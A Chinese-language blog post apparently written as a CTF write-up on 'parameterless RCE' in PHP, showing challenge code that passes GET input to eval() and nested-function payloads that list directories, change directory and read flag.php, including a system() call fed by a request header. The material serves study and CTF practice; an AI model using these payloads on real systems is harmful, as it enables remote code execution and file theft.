无参数RCE

2020-07-18 61次浏览 0条评论  前往评论

前言


无参数RCE方法小总结,可以参考

从一道CTF题学习Fuzz思想

无参数RCE题目

例题一


题目源码如下

<?php
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {
    eval($_GET['code']);
} else {
    show_source(__FILE__);
}
?>

题目分析:

其中正则里面的\w表示a-zA-Z0-9,以及下划线。(?R)是引用当前表达式的意思,即可以用\w+\((?R)?\)替换到(?R)的位置,(?R)? 这里多一个?表示可以有引用,也就是说可以衍生匹配。

也就是说/[^\W]+\((?R)?\)/,只匹配字符串+()的类型,并且可以嵌套使用。

可以看一个例子

<?php
$code1 = "echo();";
$code2 = "echo(123);";
$code3 = "echo(phpinfo());";
echo(preg_replace('/[^\W]+\((?R)?\)/', '', $code1));
echo"\n";
echo(preg_replace('/[^\W]+\((?R)?\)/', '', $code2));
echo"\n";
echo(preg_replace('/[^\W]+\((?R)?\)/', '', $code3));
?>

输出

;
echo(123);
;

我们分别传入了echo();echo(123)echo(phpinfo()),可以看到参数一最终替换剩下一个(;)分号,而参数二无法匹配成功替换失败,参数三是echo嵌套一个phpinfo函数,同样匹配成功替换剩下一个(;)分号。那么这里就说明了我们这个正则虽然不能能够匹配存在参数的函数,但是可以嵌套函数使用。

方法一


我们知道scandir()函数式能够读取目录源码,但是他必须带有参数('.')也就是scandir('.')

<?php var_dump(scandir('.')); ?>

但是上面的正则匹配不允许出现函数里面有点的,所以我们要想办法构造这个点。

利用localeconv() 取点,localeconv() 会返回当地的金融信息的数组,而第一个元素即为点。

<?php var_dump(localeconv()); ?>

构造方法只需取第一个元素即可 pos()current() 均可。

<?php var_dump(pos(localeconv())); ?>

结合起来就是

<?php var_dump(scandir(pos(localeconv()))); ?>

使用end读取后一个文件名读取flag

<?php var_dump(end(scandir(pos(localeconv())))); ?>

使用readfile读取flag

<?php var_dump(readfile(end(scandir(pos(localeconv()))))); ?>

最终payload

http://39.107.126.173:8080/code/code.php? code=var_dump(readfile(end(scandir(pos(localeconv())))));

方法二


利用当前秒数构造点 ,利用localtime()中返回的秒数来构造点,点的aiisc码正好是46在60秒之 内,我们只需等到46秒时候就能将点给构造出来。

<?php var_dump(chr(pos(localtime()))); ?>

最终payload

http://39.107.126.173:8080/code/code.php? code=var_dump(readfile(end(scandir(chr(pos(localtime()))))));

方法三


利用SESSIONID来传参

http://39.107.126.173:8080/code/code.php? code=show_source(session_id(session_start()));

在cookie处输入

PHPSESSID=flag.php

方法四


利用 getallheaders() 来获取参数RCE,这里需要用burp抓包操作。

http://39.107.126.173:8080/code/code.php? code=echo(system(end(getallheaders()))); 

在最后在最后一条请求头添加

cat flag.php

例题二


[GXYCTF2019]禁止套娃,源码如下

<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){
    if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
        if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
            if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
                // echo $_GET['exp'];
                @eval($_GET['exp']);
            }
            else{
                die("还差一点哦!");
            }
        }
        else{
            die("再好好想想!");
        }
    }
    else{
        die("还想读flag,臭弟弟!");
    }
}
// highlight_file(__FILE__);
?>

构造点问题

<?php
print_r(scandir(current(localeconv())));
print_r(scandir(pos(localeconv())));
?>

这两个都能生成点。

传参数发现

array(5) { [0]=> string(1) "." [1]=> string(2) ".." [2]=> string(4) ".git" [3]=> string(8) "flag.php" [4]=> string(9) "index.php" } 
  • exp1
?exp=show_source(next(array_reverse(scandir(pos(localeconv())))));

其中array_reverse是将数组内容反转一下,利用next()指向flag.php文件。

  • exp2
?exp=show_source(array_rand(array_flip(scandir(current(localeconv())))));

其中array_flip()交换数组的键和值,array_rand()从数组中随机取出一个或多个单元

多刷刷就出flag。

  • exp3
?exp=show_source(session_id(session_start()));
PHPSESSID=flag.php

跳转目录情况


  • 假设flag在上层目录文件的情况,我们需要跳转到上层目录。

  • chdir() 函数当参数为两个点的时候能够跳转到上层目录。scandir() ,读取当前目录在第二个元素就能读取两个点

  • localtime第一个参数是时间戳,所以我们不能直接嵌套,需要带一个time函数作为嵌套、time函数能够返回时间戳

  • 构造读取上层目录payload

echo(implode(scandir(chr(pos(localtime(time(chdir(next(scandir(pos(localeconv())))))))))));
  • 构造读取上层目录文件payload
echo(readfile(end(scandir(chr(pos(localtime(time(chdir(next(scandir(pos(localeconv()))))))))))));

其他小技巧


利用三角函数构造斜杠

chr(floor(tan(tan(atan(atan(ord(cos(fclose(tmpfile())))))))));

利用随机令牌构造点

echo(implode(scandir(chr(strrev(uniqid())))));

小结


getchwd() 函数返回当前工作目录
array_reverse() 以相反的元素顺序返回数组
scandir() 函数返回指定目录中的文件和目录的数组
dirname() 函数返回路径中的目录部分
chdir()   函数改变当前的目录
localeconv() 返回当地金融信息其中包含了点
readfile()   输出一个文件
chr(pos(localtime())) 利用当前秒数构造点    
current()    返回数组中的当前单元, 默认取第一个值
pos()      current() 的别名
next()     函数将内部指针指向数组中的下一个元素并输出
end()      将内部指针指向数组中的最后一个元素并输出
array_rand()   函数返回数组中的随机键名或者如果您规定函数返回不只一个键名则返回包含随机 键名的数组 
array_flip()   函数用于反转/交换数组中所有的键名以及它们关联的键值
chr()  函数从指定的 ASCII 值返回字符
hex2bin()  转换十六进制字符串为二进制字符串
getenv()   获取一个环境变量的值(在7.1之后可以不给予参数)
show_source() 高亮读取文件
highlight_file() 高亮读取文件



登录后回复

共有0条评论